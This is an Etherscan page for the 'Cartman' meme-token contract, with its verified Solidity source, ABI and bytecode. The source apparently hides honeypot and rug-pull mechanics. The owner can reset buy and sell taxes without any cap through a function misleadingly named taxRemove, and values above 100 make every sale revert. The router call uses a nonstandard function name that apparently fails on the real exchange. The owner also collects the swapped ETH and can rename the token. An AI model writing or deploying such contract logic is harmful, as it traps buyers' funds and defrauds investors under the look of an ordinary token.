ETH Price: $2,590.89 (-2.73%)

Token

Cartman (CARTMAN)
 

Overview

Max Total Supply

100,000,000,000 CARTMAN

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,439,799,842.609656920784468327 CARTMAN

Value
$0.00
0x7662934d2f7a797d1cb7a21074cfe5644b6a063e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cartman

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
 */

/*


░█████╗░░█████╗░██████╗░████████╗███╗░░░███╗░█████╗░███╗░░██╗
██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝████╗░████║██╔══██╗████╗░██║
██║░░╚═╝███████║██████╔╝░░░██║░░░██╔████╔██║███████║██╔██╗██║
██║░░██╗██╔══██║██╔══██╗░░░██║░░░██║╚██╔╝██║██╔══██║██║╚████║
╚█████╔╝██║░░██║██║░░██║░░░██║░░░██║░╚═╝░██║██║░░██║██║░╚███║
░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝


//TG: https://t.me/cartmancoin
//Twitter: https://twitter.com/Cartman_ERC20
//Website: https://cartman.club/


*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Cartman {
    string private _name = unicode"Cartman";
    string private _symbol = unicode"CARTMAN";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000_000 * 10**decimals;

    uint8 buyCharge = 1;
    uint8 sellCharge = 1;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function changeInfo(string memory name_, string memory symbol_) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function taxRemove(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600760809081526621b0b93a36b0b760c91b60a052600090620000289082620001e3565b5060408051808201909152600781526621a0a92a26a0a760c91b6020820152600190620000569082620001e3565b506002805461ffff19166101011790553480156200007357600080fd5b50600680546001600160a01b03191633179055620000946012600a620003c4565b620000a59064174876e800620003dc565b3360008181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182206000199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001166012600a620003c4565b620001279064174876e800620003dc565b60405190815260200160405180910390a3620003f6565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200016957607f821691505b6020821081036200018a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001de57600081815260208120601f850160051c81016020861015620001b95750805b601f850160051c820191505b81811015620001da57828155600101620001c5565b5050505b505050565b81516001600160401b03811115620001ff57620001ff6200013e565b620002178162000210845462000154565b8462000190565b602080601f8311600181146200024f5760008415620002365750858301515b600019600386901b1c1916600185901b178555620001da565b600085815260208120601f198616915b8281101562000280578886015182559484019460019091019084016200025f565b50858210156200029f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000306578160001904821115620002ea57620002ea620002af565b80851615620002f857918102915b93841c9390800290620002ca565b509250929050565b6000826200031f57506001620003be565b816200032e57506000620003be565b8160018114620003475760028114620003525762000372565b6001915050620003be565b60ff841115620003665762000366620002af565b50506001821b620003be565b5060208310610133831016604e8410600b841016171562000397575081810a620003be565b620003a38383620002c5565b8060001904821115620003ba57620003ba620002af565b0290505b92915050565b6000620003d560ff8416836200030e565b9392505050565b8082028115828204841417620003be57620003be620002af565b610ea780620004066000396000f3fe6080604052600436106100ab5760003560e01c806370a082311161006457806370a082311461019e5780637a9cc673146101cb57806395d89b41146101eb578063a9059cbb14610200578063c9567bf914610220578063dd62ed3e1461023557600080fd5b806306fdde03146100b7578063095ea7b3146100e257806318160ddd146101125780631d4776c21461013557806323b872dd14610157578063313ce5671461017757600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506100cc61026d565b6040516100d991906108da565b60405180910390f35b3480156100ee57600080fd5b506101026100fd366004610944565b6102ff565b60405190151581526020016100d9565b34801561011e57600080fd5b5061012761036c565b6040519081526020016100d9565b34801561014157600080fd5b50610155610150366004610a11565b61038a565b005b34801561016357600080fd5b50610102610172366004610a75565b6103d2565b34801561018357600080fd5b5061018c601281565b60405160ff90911681526020016100d9565b3480156101aa57600080fd5b506101276101b9366004610ab1565b60036020526000908152604090205481565b3480156101d757600080fd5b506101556101e6366004610add565b610420565b3480156101f757600080fd5b506100cc61046b565b34801561020c57600080fd5b5061010261021b366004610944565b61047a565b34801561022c57600080fd5b5061015561048e565b34801561024157600080fd5b50610127610250366004610b10565b600460209081526000928352604080842090915290825290205481565b60606000805461027c90610b3a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a890610b3a565b80156102f55780601f106102ca576101008083540402835291602001916102f5565b820191906000526020600020905b8154815290600101906020018083116102d857829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061035a9086815260200190565b60405180910390a35060015b92915050565b6103786012600a610c6e565b6103879064174876e800610c7d565b81565b6006546001600160a01b031633146103b457604051629af2b160e81b815260040160405180910390fd5b60006103c08382610ce2565b5060016103cd8282610ce2565b505050565b6001600160a01b0383166000908152600460209081526040808320338452909152812080548391908390610407908490610da2565b9091555061041890508484846104d1565b949350505050565b6006546001600160a01b0316331461044a57604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461027c90610b3a565b60006104873384846104d1565b9392505050565b6006546001600160a01b031633146104a557600080fd5b600654600160a81b900460ff16156104bc57600080fd5b6006805460ff60a81b1916600160a81b179055565b600654600090600160a81b900460ff16806104f957506006546001600160a01b038581169116145b8061051157506006546001600160a01b038481169116145b61051a57600080fd5b600654600160a81b900460ff1615801561053d57506005546001600160a01b0316155b80156105495750600082115b1561056a57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526003602052604081208054849290610592908490610da2565b90915550506005546001600160a01b0384811691161480156105be5750600654600160a01b900460ff16155b80156105ff575060646105d36012600a610c6e565b6105e29064174876e800610c7d565b6105ec9190610db5565b3060009081526003602052604090205410155b801561061957506006546001600160a01b03858116911614155b156107a8576006805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061066657610666610dd7565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106ae576106ae610dd7565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ee6012600a610c6e565b6106fd9064174876e800610c7d565b6107079190610db5565b60008430426040518663ffffffff1660e01b815260040161072c959493929190610ded565b600060405180830381600087803b15801561074657600080fd5b505af115801561075a573d6000803e3d6000fd5b50506006546040516001600160a01b0390911692504780156108fc029250906000818181858888f19350505050158015610798573d6000803e3d6000fd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107cf5750600654600160a81b900460ff1615156001145b15610854576005546000906064906001600160a01b038781169116146107ff57600254610100900460ff16610806565b60025460ff165b6108139060ff1685610c7d565b61081d9190610db5565b90506108298184610da2565b3060009081526003602052604081208054929550839290919061084d908490610e5e565b9091555050505b6001600160a01b0383166000908152600360205260408120805484929061087c908490610e5e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c891815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610907578581018301518582016040015282016108eb565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461093f57600080fd5b919050565b6000806040838503121561095757600080fd5b61096083610928565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261099557600080fd5b813567ffffffffffffffff808211156109b0576109b061096e565b604051601f8301601f19908116603f011681019082821181831017156109d8576109d861096e565b816040528381528660208588010111156109f157600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610a2457600080fd5b823567ffffffffffffffff80821115610a3c57600080fd5b610a4886838701610984565b93506020850135915080821115610a5e57600080fd5b50610a6b85828601610984565b9150509250929050565b600080600060608486031215610a8a57600080fd5b610a9384610928565b9250610aa160208501610928565b9150604084013590509250925092565b600060208284031215610ac357600080fd5b61048782610928565b803560ff8116811461093f57600080fd5b60008060408385031215610af057600080fd5b610af983610acc565b9150610b0760208401610acc565b90509250929050565b60008060408385031215610b2357600080fd5b610b2c83610928565b9150610b0760208401610928565b600181811c90821680610b4e57607f821691505b602082108103610b6e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc5578160001904821115610bab57610bab610b74565b80851615610bb857918102915b93841c9390800290610b8f565b509250929050565b600082610bdc57506001610366565b81610be957506000610366565b8160018114610bff5760028114610c0957610c25565b6001915050610366565b60ff841115610c1a57610c1a610b74565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610c48575081810a610366565b610c528383610b8a565b8060001904821115610c6657610c66610b74565b029392505050565b600061048760ff841683610bcd565b808202811582820484141761036657610366610b74565b601f8211156103cd57600081815260208120601f850160051c81016020861015610cbb5750805b601f850160051c820191505b81811015610cda57828155600101610cc7565b505050505050565b815167ffffffffffffffff811115610cfc57610cfc61096e565b610d1081610d0a8454610b3a565b84610c94565b602080601f831160018114610d455760008415610d2d5750858301515b600019600386901b1c1916600185901b178555610cda565b600085815260208120601f198616915b82811015610d7457888601518255948401946001909101908401610d55565b5085821015610d925787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8181038181111561036657610366610b74565b600082610dd257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610e3d5784516001600160a01b031683529383019391830191600101610e18565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561036657610366610b7456fea26469706673582212206fb3b92175bad342a04411136ff78ae27ad8dd34e55d86256cd9fc4b1b1e784064736f6c63430008120033

Deployed Bytecode

0x6080604052600436106100ab5760003560e01c806370a082311161006457806370a082311461019e5780637a9cc673146101cb57806395d89b41146101eb578063a9059cbb14610200578063c9567bf914610220578063dd62ed3e1461023557600080fd5b806306fdde03146100b7578063095ea7b3146100e257806318160ddd146101125780631d4776c21461013557806323b872dd14610157578063313ce5671461017757600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506100cc61026d565b6040516100d991906108da565b60405180910390f35b3480156100ee57600080fd5b506101026100fd366004610944565b6102ff565b60405190151581526020016100d9565b34801561011e57600080fd5b5061012761036c565b6040519081526020016100d9565b34801561014157600080fd5b50610155610150366004610a11565b61038a565b005b34801561016357600080fd5b50610102610172366004610a75565b6103d2565b34801561018357600080fd5b5061018c601281565b60405160ff90911681526020016100d9565b3480156101aa57600080fd5b506101276101b9366004610ab1565b60036020526000908152604090205481565b3480156101d757600080fd5b506101556101e6366004610add565b610420565b3480156101f757600080fd5b506100cc61046b565b34801561020c57600080fd5b5061010261021b366004610944565b61047a565b34801561022c57600080fd5b5061015561048e565b34801561024157600080fd5b50610127610250366004610b10565b600460209081526000928352604080842090915290825290205481565b60606000805461027c90610b3a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a890610b3a565b80156102f55780601f106102ca576101008083540402835291602001916102f5565b820191906000526020600020905b8154815290600101906020018083116102d857829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061035a9086815260200190565b60405180910390a35060015b92915050565b6103786012600a610c6e565b6103879064174876e800610c7d565b81565b6006546001600160a01b031633146103b457604051629af2b160e81b815260040160405180910390fd5b60006103c08382610ce2565b5060016103cd8282610ce2565b505050565b6001600160a01b0383166000908152600460209081526040808320338452909152812080548391908390610407908490610da2565b9091555061041890508484846104d1565b949350505050565b6006546001600160a01b0316331461044a57604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461027c90610b3a565b60006104873384846104d1565b9392505050565b6006546001600160a01b031633146104a557600080fd5b600654600160a81b900460ff16156104bc57600080fd5b6006805460ff60a81b1916600160a81b179055565b600654600090600160a81b900460ff16806104f957506006546001600160a01b038581169116145b8061051157506006546001600160a01b038481169116145b61051a57600080fd5b600654600160a81b900460ff1615801561053d57506005546001600160a01b0316155b80156105495750600082115b1561056a57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526003602052604081208054849290610592908490610da2565b90915550506005546001600160a01b0384811691161480156105be5750600654600160a01b900460ff16155b80156105ff575060646105d36012600a610c6e565b6105e29064174876e800610c7d565b6105ec9190610db5565b3060009081526003602052604090205410155b801561061957506006546001600160a01b03858116911614155b156107a8576006805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061066657610666610dd7565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106ae576106ae610dd7565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ee6012600a610c6e565b6106fd9064174876e800610c7d565b6107079190610db5565b60008430426040518663ffffffff1660e01b815260040161072c959493929190610ded565b600060405180830381600087803b15801561074657600080fd5b505af115801561075a573d6000803e3d6000fd5b50506006546040516001600160a01b0390911692504780156108fc029250906000818181858888f19350505050158015610798573d6000803e3d6000fd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107cf5750600654600160a81b900460ff1615156001145b15610854576005546000906064906001600160a01b038781169116146107ff57600254610100900460ff16610806565b60025460ff165b6108139060ff1685610c7d565b61081d9190610db5565b90506108298184610da2565b3060009081526003602052604081208054929550839290919061084d908490610e5e565b9091555050505b6001600160a01b0383166000908152600360205260408120805484929061087c908490610e5e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c891815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610907578581018301518582016040015282016108eb565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461093f57600080fd5b919050565b6000806040838503121561095757600080fd5b61096083610928565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261099557600080fd5b813567ffffffffffffffff808211156109b0576109b061096e565b604051601f8301601f19908116603f011681019082821181831017156109d8576109d861096e565b816040528381528660208588010111156109f157600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610a2457600080fd5b823567ffffffffffffffff80821115610a3c57600080fd5b610a4886838701610984565b93506020850135915080821115610a5e57600080fd5b50610a6b85828601610984565b9150509250929050565b600080600060608486031215610a8a57600080fd5b610a9384610928565b9250610aa160208501610928565b9150604084013590509250925092565b600060208284031215610ac357600080fd5b61048782610928565b803560ff8116811461093f57600080fd5b60008060408385031215610af057600080fd5b610af983610acc565b9150610b0760208401610acc565b90509250929050565b60008060408385031215610b2357600080fd5b610b2c83610928565b9150610b0760208401610928565b600181811c90821680610b4e57607f821691505b602082108103610b6e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc5578160001904821115610bab57610bab610b74565b80851615610bb857918102915b93841c9390800290610b8f565b509250929050565b600082610bdc57506001610366565b81610be957506000610366565b8160018114610bff5760028114610c0957610c25565b6001915050610366565b60ff841115610c1a57610c1a610b74565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610c48575081810a610366565b610c528383610b8a565b8060001904821115610c6657610c66610b74565b029392505050565b600061048760ff841683610bcd565b808202811582820484141761036657610366610b74565b601f8211156103cd57600081815260208120601f850160051c81016020861015610cbb5750805b601f850160051c820191505b81811015610cda57828155600101610cc7565b505050505050565b815167ffffffffffffffff811115610cfc57610cfc61096e565b610d1081610d0a8454610b3a565b84610c94565b602080601f831160018114610d455760008415610d2d5750858301515b600019600386901b1c1916600185901b178555610cda565b600085815260208120601f198616915b82811015610d7457888601518255948401946001909101908401610d55565b5085821015610d925787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8181038181111561036657610366610b74565b600082610dd257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610e3d5784516001600160a01b031683529383019391830191600101610e18565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561036657610366610b7456fea26469706673582212206fb3b92175bad342a04411136ff78ae27ad8dd34e55d86256cd9fc4b1b1e784064736f6c63430008120033

Deployed Bytecode Sourcemap

1646:4127:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4101:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3749:207;;;;;;;;;;-1:-1:-1;3749:207:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3749:207:0;1004:187:1;1806:68:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;1806:68:0;1196:177:1;3002:193:0;;;;;;;;;;-1:-1:-1;3002:193:0;;;;;:::i;:::-;;:::i;:::-;;3518:223;;;;;;;;;;-1:-1:-1;3518:223:0;;;;;:::i;:::-;;:::i;1764:35::-;;;;;;;;;;;;1797:2;1764:35;;;;;3287:4:1;3275:17;;;3257:36;;3245:2;3230:18;1764:35:0;3115:184:1;2220:44:0;;;;;;;;;;-1:-1:-1;2220:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3203:155;;;;;;;;;;-1:-1:-1;3203:155:0;;;;;:::i;:::-;;:::i;4200:95::-;;;;;;;;;;;;;:::i;3964:129::-;;;;;;;;;;-1:-1:-1;3964:129:0;;;;;:::i;:::-;;:::i;3366:144::-;;;;;;;;;;;;;:::i;2271:64::-;;;;;;;;;;-1:-1:-1;2271:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;4101:91;4146:13;4179:5;4172:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4101:91;:::o;3749:207::-;3844:10;3817:4;3834:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3834:30:0;;;;;;;;;;:39;;;3889:37;3817:4;;3834:30;;3889:37;;;;3867:6;1342:25:1;;1330:2;1315:18;;1196:177;3889:37:0;;;;;;;;-1:-1:-1;3944:4:0;3749:207;;;;;:::o;1806:68::-;1862:12;1797:2;1862;:12;:::i;:::-;1844:30;;:15;:30;:::i;:::-;1806:68;:::o;3002:193::-;3104:9;;-1:-1:-1;;;;;3104:9:0;3090:10;:23;3086:49;;3122:13;;-1:-1:-1;;;3122:13:0;;;;;;;;;;;3086:49;3146:5;:13;3154:5;3146;:13;:::i;:::-;-1:-1:-1;3170:7:0;:17;3180:7;3170;:17;:::i;:::-;;3002:193;;:::o;3518:223::-;-1:-1:-1;;;;;3651:15:0;;3634:4;3651:15;;;:9;:15;;;;;;;;3667:10;3651:27;;;;;;;:37;;3682:6;;3651:27;3634:4;;3651:37;;3682:6;;3651:37;:::i;:::-;;;;-1:-1:-1;3706:27:0;;-1:-1:-1;3716:4:0;3722:2;3726:6;3706:9;:27::i;:::-;3699:34;3518:223;-1:-1:-1;;;;3518:223:0:o;3203:155::-;3285:9;;-1:-1:-1;;;;;3285:9:0;3271:10;:23;3267:49;;3303:13;;-1:-1:-1;;;3303:13:0;;;;;;;;;;;3267:49;5717:9;:16;;;5744:18;;;5717:16;5744:18;-1:-1:-1;;5744:18:0;;;5717:16;;;;5744:18;;;;;;;3203:155::o;4200:95::-;4247:13;4280:7;4273:14;;;;;:::i;3964:129::-;4028:4;4052:33;4062:10;4074:2;4078:6;4052:9;:33::i;:::-;4045:40;3964:129;-1:-1:-1;;;3964:129:0:o;3366:144::-;3431:9;;-1:-1:-1;;;;;3431:9:0;3417:10;:23;3409:32;;;;;;3461:11;;-1:-1:-1;;;3461:11:0;;;;3460:12;3452:21;;;;;;3484:11;:18;;-1:-1:-1;;;;3484:18:0;-1:-1:-1;;;3484:18:0;;;3366:144::o;4303:1342::-;4441:11;;4416:4;;-1:-1:-1;;;4441:11:0;;;;;:32;;-1:-1:-1;4464:9:0;;-1:-1:-1;;;;;4456:17:0;;;4464:9;;4456:17;4441:32;:51;;;-1:-1:-1;4483:9:0;;-1:-1:-1;;;;;4477:15:0;;;4483:9;;4477:15;4441:51;4433:60;;;;;;4511:11;;-1:-1:-1;;;4511:11:0;;;;4510:12;:34;;;;-1:-1:-1;4526:4:0;;-1:-1:-1;;;;;4526:4:0;:18;4510:34;:48;;;;;4557:1;4548:6;:10;4510:48;4506:63;;;4560:4;:9;;-1:-1:-1;;;;;;4560:9:0;-1:-1:-1;;;;;4560:9:0;;;;;4506:63;-1:-1:-1;;;;;4582:15:0;;;;;;:9;:15;;;;;:25;;4601:6;;4582:15;:25;;4601:6;;4582:25;:::i;:::-;;;;-1:-1:-1;;4630:4:0;;-1:-1:-1;;;;;4624:10:0;;;4630:4;;4624:10;:23;;;;-1:-1:-1;4639:8:0;;-1:-1:-1;;;4639:8:0;;;;4638:9;4624:23;:65;;;;-1:-1:-1;1980:3:0;1862:12;1797:2;1862;:12;:::i;:::-;1844:30;;:15;:30;:::i;:::-;1966:17;;;;:::i;:::-;4669:4;4651:24;;;;:9;:24;;;;;;:38;;4624:65;:86;;;;-1:-1:-1;4701:9:0;;-1:-1:-1;;;;;4693:17:0;;;4701:9;;4693:17;;4624:86;4620:622;;;4727:8;:15;;-1:-1:-1;;;;4727:15:0;-1:-1:-1;;;4727:15:0;;;4781:16;;;4795:1;4781:16;;;;;;;;-1:-1:-1;;4781:16:0;;;;;;;;;;-1:-1:-1;4781:16:0;4757:40;;4830:4;4812;4817:1;4812:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4812:23:0;;;-1:-1:-1;;;;;4812:23:0;;;;;2394:42;4850:4;4855:1;4850:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4850:13:0;;;:7;;;;;;;;;;;:13;2476:42;4878:88;1980:3;1862:12;1797:2;1862;:12;:::i;:::-;1844:30;;:15;:30;:::i;:::-;1966:17;;;;:::i;:::-;5022:1;5046:4;5081;5109:15;4878:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5158:9:0;;:41;;-1:-1:-1;;;;;5158:9:0;;;;-1:-1:-1;5177:21:0;5158:41;;;;;-1:-1:-1;5177:21:0;5158:9;:41;:9;:41;5177:21;5158:9;:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5214:8:0;:16;;-1:-1:-1;;;;5214:16:0;;;4620:622;-1:-1:-1;;;;;5258:21:0;;5274:4;5258:21;;;;:44;;-1:-1:-1;5283:11:0;;-1:-1:-1;;;5283:11:0;;;;:19;;5298:4;5283:19;5258:44;5254:286;;;5385:4;;5319:27;;5419:3;;-1:-1:-1;;;;;5377:12:0;;;5385:4;;5377:12;:37;;5404:10;;;;;;;5377:37;;;5392:9;;;;5377:37;5350:65;;;;:6;:65;:::i;:::-;5349:73;;;;:::i;:::-;5319:103;-1:-1:-1;5437:29:0;5319:103;5437:29;;:::i;:::-;5499:4;5481:24;;;;:9;:24;;;;;:47;;5437:29;;-1:-1:-1;5509:19:0;;5481:24;;;:47;;5509:19;;5481:47;:::i;:::-;;;;-1:-1:-1;;;5254:286:0;-1:-1:-1;;;;;5550:13:0;;;;;;:9;:13;;;;;:23;;5567:6;;5550:13;:23;;5567:6;;5550:23;: